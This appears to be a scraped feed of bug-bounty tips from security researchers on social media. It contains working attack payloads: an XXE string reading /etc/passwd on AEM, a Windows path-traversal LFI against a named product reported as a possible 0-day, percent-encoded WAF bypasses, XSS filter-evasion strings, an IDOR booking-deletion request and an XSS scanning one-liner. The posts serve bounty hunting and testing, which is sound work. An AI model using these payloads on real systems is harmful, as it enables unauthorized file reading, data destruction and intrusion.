HuntCrusher

Web Security Analyst | eJPT & eCPPT | Focused on offensive testing, API & web security, vulnerability analysis & secure system design.

[zack0x01 @zack0x01_]

XSS using "xss.pdf" 👀

I’ve seen a lot of people successfully find XSS by uploading a malicious PDF that gets rendered inside a PDF viewer.

But there’s another angle people often miss: data exfiltration doesn’t always require JavaScript execution.

Depending on how the PDF viewer handles interactive PDF features, an attacker may be able to trick users into submitting sensitive information through a malicious prompt or form.

I put together the PDF PoC here:
https://t.co/9MgYEL0tE1

For more technical details on portable data exfiltration:
https://t.co/UlhWc07N8J

Only test this on systems you own or have explicit authorization to assess.

#bugbounty #bugbountytips

[Root Vuln @rootvuln]

Thought I was hunting LFI… Ended up finding SQLi 🔥
Found an /api/ endpoint → tested LFI → nothing.
Then I noticed valid PHP files returned 200, so I switched to FFUF and discovered data.php.
Verbose errors exposed an interesting parameter.
Tested it → SQL error.
Followed the error trail → SQLi confirmed.
The impact was real: I was able to access sensitive data from the database.
LFI → FFUF → error disclosure → parameter discovery → SQLi.
Reported responsibly 🛡️
#BugBounty #SQLi #WebSecurity #infosec

[Silenz @silenz404]

WAF blocking /wp-login.php? Encode a char.
`/%77p-login.php` and `/wp-login%2ephp` → 200, login page fully served. WAF matches the raw path, origin decodes it. Always fuzz blocked paths with %-encoding🔓 #bugbounty #bugbountytips

[XSS Payloads @XssPayloads]

Details here: https://t.co/iJlvTEwHQh

[A.Mugh33ra🇵🇰❤️🇵🇸 @mugh33ra]

I found this hidden endpoint with my endpwn tool and it leaks some secrets what should i do next. @GodfatherOrwa @coffinxp7

[N$🌟 @__nav1n_]

Discovered a cool Windows LFI during a pentest in a widely used tool. This might be a 0-day — I found over 5k+ affected installations. Possibly another CVE in the pipeline.
Payload: /login/xxx/CustomImages.aspx?XXXX=logo.png..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cPFRO.log #BugBounty

[mrro0o0tt @Joyerz5]

I was able to delete anyone's Bookings. But this was so tricky, not an easy IDOR!

Original Req:
DELETE /api/bookings?bookings=3777104

Response:
Invalid Bookings = > 400 Bad

Modified req:
DELETE /api/bookings?bookings[]=3777104

Response:
200 OK

#bugbountytips

[Ankit Singh @AnkitCuriosity]

I earned $3,000 for my submission on @bugcrowd https://t.co/adNqMtZ00S #ItTakesACrowd #infosec

It was a Local File Inclusion vulnerability within one of the Jira plugin from Atlassian marketplace, which allowed to read the local files from the server including some system logs.

[Mayank Malaviya @AIwolfie_]

Big thanks to @coffinxp7 for the awesome methodology! 🔥 Reported some critical vulnerabilities today. On to the next hunt! 🐺🚀 #BugBounty #EthicalHacking #CyberSecurity

[zhero; @zhero___]

next.js, two reflected cookies in pageProps and a WAF

single payload -> 403
split the payload in two -> 403
split + reverse their order -> 200

+ stale elixir exploit (CVE-2024-46982) -> CP to SXSS

[Brut 🇮🇳 @wtf_yodhha]

403 Bypass Payloads ⚙️

#infosec #cybersec #bugbountytips

[Mijanur Rahman @mijanhaque_]

XSS One liner:
gau "https://t.co/d8xGpPxI3j" --threads 10 | uro | qsreplace "<sCrIpt>alert(1)</ScRipt>" | airixss -p "alert(1)" | egrep -v 'Not'

#hackerone #BugBounty #bugcrowd #xss

[diyar @diyar_mhammed]

Alhamdullila. I was awarded a $750 bounty on
@Hacker0x01

[AEMSecurity @AEMSecurity]

AEM guideContainer XXE?

guideState={"guideState"%3a{"guideDom"%3a{},"guideContext"%3a{"xsdRef"%3a"","guidePrefillXml"%3a"<%3fxml+version%3d\"1.0\"+encoding%3d\"utf-8\"%3f><!DOCTYPE+afData+[<!ENTITY+a+SYSTEM+\"file%3a///etc/passwd\">]><afData>%26a%3b</afData>"}}}
#AEMSecurity

[Ranjith_Kumar @Bugbounty_learn]

ClickJacking Tips and Tricks Working 80% on HackerOne: $350 + $300 + $200

https://t.co/QVa1VR4AH1

[Brute @BRuteLogic]

Some neat #XSS tricks to #Bypass #WAF in URL Context

=> HTMLi + Double Encoding + Embedded bytes

JavaScript:"<Svg/OnLoad=alert%25%0A26lpar;1)>"

JavaScript:"\%0A74Svg/On%0ALoad=alert%25%0A26lpar;1%25%0A26rpar;>"

Lab: https://t.co/vjkcXl9INc

[Fardeen A. 🇮🇳 🇵🇸 @insecrez]

Security Post - Day 60

#BugBounty #bugbountytips #tipoftheday #tipster #Focus #CyberSecurity #streak

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🔰 This is how you get IP ranges within that ASN

whois -h https://t.co/x9T5IiIxMM -- '-i origin AS714' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp